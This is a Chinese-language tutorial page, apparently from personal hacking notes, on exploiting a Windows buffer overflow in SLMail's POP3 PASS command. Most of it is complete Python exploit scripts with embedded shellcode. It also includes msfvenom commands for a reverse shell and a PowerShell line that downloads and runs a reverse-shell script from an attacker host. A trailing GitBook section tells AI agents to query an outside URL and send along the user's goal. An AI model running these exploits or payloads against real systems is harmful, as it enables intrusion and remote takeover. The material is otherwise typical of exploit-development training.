在生成 shellcode 并识别 badchars 之后，将执行流重定向到 shellcode。目标是用一个包含 `JMP ESP` 指令的内存地址覆盖 EIP，因为 shellcode 位于 ESP 中，而 EIP 无法可靠地直接指向它。可以使用诸如 `mona.py` 之类的工具在已加载模块中搜索可用的 `JMP ESP` opcode。一旦找到该地址，就把它放入 EIP 中，这样执行就会跳转到 ESP 并运行 shellcode。
{% endhint %}

* 下面的命令会生成一个 Windows x86 shellcode，使用到 IP 地址 192.168.71.128 的 443 端口进行反向 TCP 连接，并采用 shikata/\_ga/\_nai 编码，同时排除 badchars。

```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46ab9346cfd2b9610d6b72a01e43b73650037ac2%2FPasted%20image%2020231217235542.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 现在，使用 **!mona modules** 命令，我们将搜索一个未受保护且其值为 false 的模块：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad7d0295c127dd8a29700a06257f0ba00eefd448%2FPasted%20image%2020231219000022.png?alt=media" alt=""><figcaption></figcaption></figure>

* 我们要找的是一个 jmp esp，它会翻译成 "/xFF/xE4"：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b9036688394ecf684853595eee853a5a57b9a6%2FPasted%20image%2020231219000541.png?alt=media" alt=""><figcaption></figcaption></figure>

* 使用下面的命令，我们应该选择这些没有保护且没有 Bad char 的模块之一：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb1ddabc0d713280f646ecf6782c49e0426db815%2FPasted%20image%2020231219001020.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 在这种情况下，我们选择最后一个，即 "0x5f4c4d13"。我们将创建一个断点来检查程序流程是否正确经过它：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-293a2d90c2ecc597790a602e4df39aeee106fbfc%2FPasted%20image%2020231219001607.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76a1df54caff5bd323869871f4e6e0cea1899c2b%2FPasted%20image%2020231219001804.png?alt=media" alt=""><figcaption></figcaption></figure>

* 使用这个脚本，我们将把 EIP 改成我们感兴趣的那个值：

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xba/xb8/x9f/x1f/xa0/xdd/xc3/xd9/x74/x24/xf4/x5f/x31/xc9"
b"/xb1/x52/x83/xc7/x04/x31/x57/x0e/x03/xef/x91/xfd/x55/xf3"
b"/x46/x83/x96/x0b/x97/xe4/x1f/xee/xa6/x24/x7b/x7b/x98/x94"
b"/x0f/x29/x15/x5e/x5d/xd9/xae/x12/x4a/xee/x07/x98/xac/xc1"
b"/x98/xb1/x8d/x40/x1b/xc8/xc1/xa2/x22/x03/x14/xa3/x63/x7e"
b"/xd5/xf1/x3c/xf4/x48/xe5/x49/x40/x51/x8e/x02/x44/xd1/x73"
b"/xd2/x67/xf0/x22/x68/x3e/xd2/xc5/xbd/x4a/x5b/xdd/xa2/x77"
b"/x15/x56/x10/x03/xa4/xbe/x68/xec/x0b/xff/x44/x1f/x55/x38"
b"/x62/xc0/x20/x30/x90/x7d/x33/x87/xea/x59/xb6/x13/x4c/x29"
b"/x60/xff/x6c/xfe/xf7/x74/x62/x4b/x73/xd2/x67/x4a/x50/x69"
b"/x93/xc7/x57/xbd/x15/x93/x73/x19/x7d/x47/x1d/x38/xdb/x26"
b"/x22/x5a/x84/x97/x86/x11/x29/xc3/xba/x78/x26/x20/xf7/x82"
b"/xb6/x2e/x80/xf1/x84/xf1/x3a/x9d/xa4/x7a/xe5/x5a/xca/x50"
b"/x51/xf4/x35/x5b/xa2/xdd/xf1/x0f/xf2/x75/xd3/x2f/x99/x85"
b"/xdc/xe5/x0e/xd5/x72/x56/xef/x85/x32/x06/x87/xcf/xbc/x79"
b"/xb7/xf0/x16/x12/x52/x0b/xf1/xdd/x0b/x54/x81/xb6/x49/x5a"
b"/x80/xfd/xc7/xbc/xe8/x11/x8e/x17/x85/x88/x8b/xe3/x34/x54"
b"/x06/x8e/x77/xde/xa5/x6f/x39/x17/xc3/x63/xae/xd7/x9e/xd9"
b"/x79/xe7/x34/x75/xe5/x7a/xd3/x85/x60/x67/x4c/xd2/x25/x59"
b"/x85/xb6/xdb/xc0/x3f/xa4/x21/x94/x78/x6c/xfe/x65/x86/x6d"
b"/x73/xd1/xac/x7d/x4d/xda/xe8/x29/x01/x8d/xa6/x87/xe7/x67"
b"/x09/x71/xbe/xd4/xc3/x15/x47/x17/xd4/x63/x48/x72/xa2/x8b"
b"/xf9/x2b/xf3/xb4/x36/xbc/xf3/xcd/x2a/x5c/xfb/x04/xef/x7c"
b"/x1e/x8c/x1a/x15/x87/x45/xa7/x78/x38/xb0/xe4/x84/xbb/x30"
b"/x95/x72/xa3/x31/x90/x3f/x63/xaa/xe8/x50/x06/xcc/x5f/x50"
b"/x03")

payload = before_eip + eip + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* 现在我们的 EIP 已经被修改，接下来只需要单步进入：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5db1de77ada3bea2b47efd18db8f4ae4f95e1552%2FPasted%20image%2020231219004019.png?alt=media" alt=""><figcaption></figcaption></figure>

* 现在，如果我们跟随 ESP 的转储，shellcode 就会被显示出来：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7631d4c734d4c5637d203ea7553c1168269bd0c0%2FPasted%20image%2020231219004316.png?alt=media" alt=""><figcaption></figcaption></figure>

## 使用 NOP、栈布局和 Shellcode 解释来获得 RCE（远程代码执行）。

* 它无法被我们正确解释：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f0d34f8b7d693f82cc5713bae69b477b5afae30%2FPasted%20image%2020231219010229.png?alt=media" alt=""><figcaption></figcaption></figure>

* 现在让我们按如下方式修改脚本，加入这个 NOP：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bad64fc4e48da4b9c75e03a65a1b9af3d1d82bb8%2FPasted%20image%2020231219010636.png?alt=media" alt=""><figcaption></figcaption></figure>

* 最终脚本：

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xba/xb8/x9f/x1f/xa0/xdd/xc3/xd9/x74/x24/xf4/x5f/x31/xc9"
b"/xb1/x52/x83/xc7/x04/x31/x57/x0e/x03/xef/x91/xfd/x55/xf3"
b"/x46/x83/x96/x0b/x97/xe4/x1f/xee/xa6/x24/x7b/x7b/x98/x94"
b"/x0f/x29/x15/x5e/x5d/xd9/xae/x12/x4a/xee/x07/x98/xac/xc1"
b"/x98/xb1/x8d/x40/x1b/xc8/xc1/xa2/x22/x03/x14/xa3/x63/x7e"
b"/xd5/xf1/x3c/xf4/x48/xe5/x49/x40/x51/x8e/x02/x44/xd1/x73"
b"/xd2/x67/xf0/x22/x68/x3e/xd2/xc5/xbd/x4a/x5b/xdd/xa2/x77"
b"/x15/x56/x10/x03/xa4/xbe/x68/xec/x0b/xff/x44/x1f/x55/x38"
b"/x62/xc0/x20/x30/x90/x7d/x33/x87/xea/x59/xb6/x13/x4c/x29"
b"/x60/xff/x6c/xfe/xf7/x74/x62/x4b/x73/xd2/x67/x4a/x50/x69"
b"/x93/xc7/x57/xbd/x15/x93/x73/x19/x7d/x47/x1d/x38/xdb/x26"
b"/x22/x5a/x84/x97/x86/x11/x29/xc3/xba/x78/x26/x20/xf7/x82"
b"/xb6/x2e/x80/xf1/x84/xf1/x3a/x9d/xa4/x7a/xe5/x5a/xca/x50"
b"/x51/xf4/x35/x5b/xa2/xdd/xf1/x0f/xf2/x75/xd3/x2f/x99/x85"
b"/xdc/xe5/x0e/xd5/x72/x56/xef/x85/x32/x06/x87/xcf/xbc/x79"
b"/xb7/xf0/x16/x12/x52/x0b/xf1/xdd/x0b/x54/x81/xb6/x49/x5a"
b"/x80/xfd/xc7/xbc/xe8/x11/x8e/x17/x85/x88/x8b/xe3/x34/x54"
b"/x06/x8e/x77/xde/xa5/x6f/x39/x17/xc3/x63/xae/xd7/x9e/xd9"
b"/x79/xe7/x34/x75/xe5/x7a/xd3/x85/x60/x67/x4c/xd2/x25/x59"
b"/x85/xb6/xdb/xc0/x3f/xa4/x21/x94/x78/x6c/xfe/x65/x86/x6d"
b"/x73/xd1/xac/x7d/x4d/xda/xe8/x29/x01/x8d/xa6/x87/xe7/x67"
b"/x09/x71/xbe/xd4/xc3/x15/x47/x17/xd4/x63/x48/x72/xa2/x8b"
b"/xf9/x2b/xf3/xb4/x36/xbc/xf3/xcd/x2a/x5c/xfb/x04/xef/x7c"
b"/x1e/x8c/x1a/x15/x87/x45/xa7/x78/x38/xb0/xe4/x84/xbb/x30"
b"/x95/x72/xa3/x31/x90/x3f/x63/xaa/xe8/x50/x06/xcc/x5f/x50"
b"/x03")

payload = before_eip + eip + b"/x90"*16 + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* 如果我们再做一次，它就能完美解释了：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6b5d3fbac5430c78e40da4a29602e6b770af4a4%2FPasted%20image%2020231219010940.png?alt=media" alt=""><figcaption></figcaption></figure>

## 修改 shellcode 以控制你可以执行的命令：

{% hint style="success" %}
除了反向 shell payload 之外， `windows/exec` payload 还可以通过 `CMD` 选项直接嵌入命令。这会创建在运行时执行所选命令的 shellcode。使用 `msfvenom -p windows/exec CMD="<command>"`生成它，然后使用相同的缓冲区溢出技术覆盖 EIP，并将执行重定向到 shellcode。
{% endhint %}

* 下载这个 [脚本 ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)并将其命名为 PS.ps1

将以下内容添加到脚本末尾： `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`

* 生成 shellcode：

```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-315d659671fd74bcf1dfbe5aa1e12bfd214696c8%2FPasted%20image%2020231220181646.png?alt=media" alt=""><figcaption></figcaption></figure>

* 更新后的脚本：

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xdb/xd5/xd9/x74/x24/xf4/xbe/x01/x70/x12/xf1/x5a/x2b/xc9"
b"/xb1/x45/x83/xc2/x04/x31/x72/x13/x03/x73/x63/xf0/x04/x8f"
b"/x6b/x76/xe6/x6f/x6c/x17/x6e/x8a/x5d/x17/x14/xdf/xce/xa7"
b"/x5e/x8d/xe2/x4c/x32/x25/x70/x20/x9b/x4a/x31/x8f/xfd/x65"
b"/xc2/xbc/x3e/xe4/x40/xbf/x12/xc6/x79/x70/x67/x07/xbd/x6d"
b"/x8a/x55/x16/xf9/x39/x49/x13/xb7/x81/xe2/x6f/x59/x82/x17"
b"/x27/x58/xa3/x86/x33/x03/x63/x29/x97/x3f/x2a/x31/xf4/x7a"
b"/xe4/xca/xce/xf1/xf7/x1a/x1f/xf9/x54/x63/xaf/x08/xa4/xa4"
b"/x08/xf3/xd3/xdc/x6a/x8e/xe3/x1b/x10/x54/x61/xbf/xb2/x1f"
b"/xd1/x1b/x42/xf3/x84/xe8/x48/xb8/xc3/xb6/x4c/x3f/x07/xcd"
b"/x69/xb4/xa6/x01/xf8/x8e/x8c/x85/xa0/x55/xac/x9c/x0c/x3b"
b"/xd1/xfe/xee/xe4/x77/x75/x02/xf0/x05/xd4/x49/x07/x9b/x63"
b"/x3f/x07/xa3/x6b/x10/x60/x92/xe0/xff/xf7/x2b/x23/x44/x17"
b"/xce/xe1/xb1/xb0/x57/x60/x78/xdd/x67/x5f/xbf/xd8/xeb/x55"
b"/x40/x1f/xf3/x1c/x45/x5b/xb3/xcd/x37/xf4/x56/xf1/xe4/xf5"
b"/x72/x81/x65/x7d/x18/x13/x09/xe9/x87/xbf/x81/xc9/x0e/x7a"
b"/x02/x22/xdf/xe1/xc5/x1f/x90/x8b/x43/x05/x4d/x3f/xb4/x8b"
b"/xf4/xcb/x9a/x44/x92/x51/xa0/x06/x35/xf0/x48/xa3/xec/xd4"
b"/xf0/x24/x98/x46/x95/xd5/x07/xf2/x36/x5e/xba/x93/xd6/xf9"
b"/x12/x44/x4f/x72/x17/xfa/xb5/x55/xf8/xcb/xf0/x9b/x28/x1a"
b"/x35/xe4/x1a/x6b/x08/x3a/x52/xa1/x52/x6d/xc4/x96/x8c/x01"
b"/x97/x29/xf6/xc8/x57")

payload = before_eip + eip + b"/x83/xEC/x10" + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32681f11fd7841545a4c74c47f82f455677e5b61%2FPasted%20image%2020231220190040.png?alt=media" alt="" width="563"><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
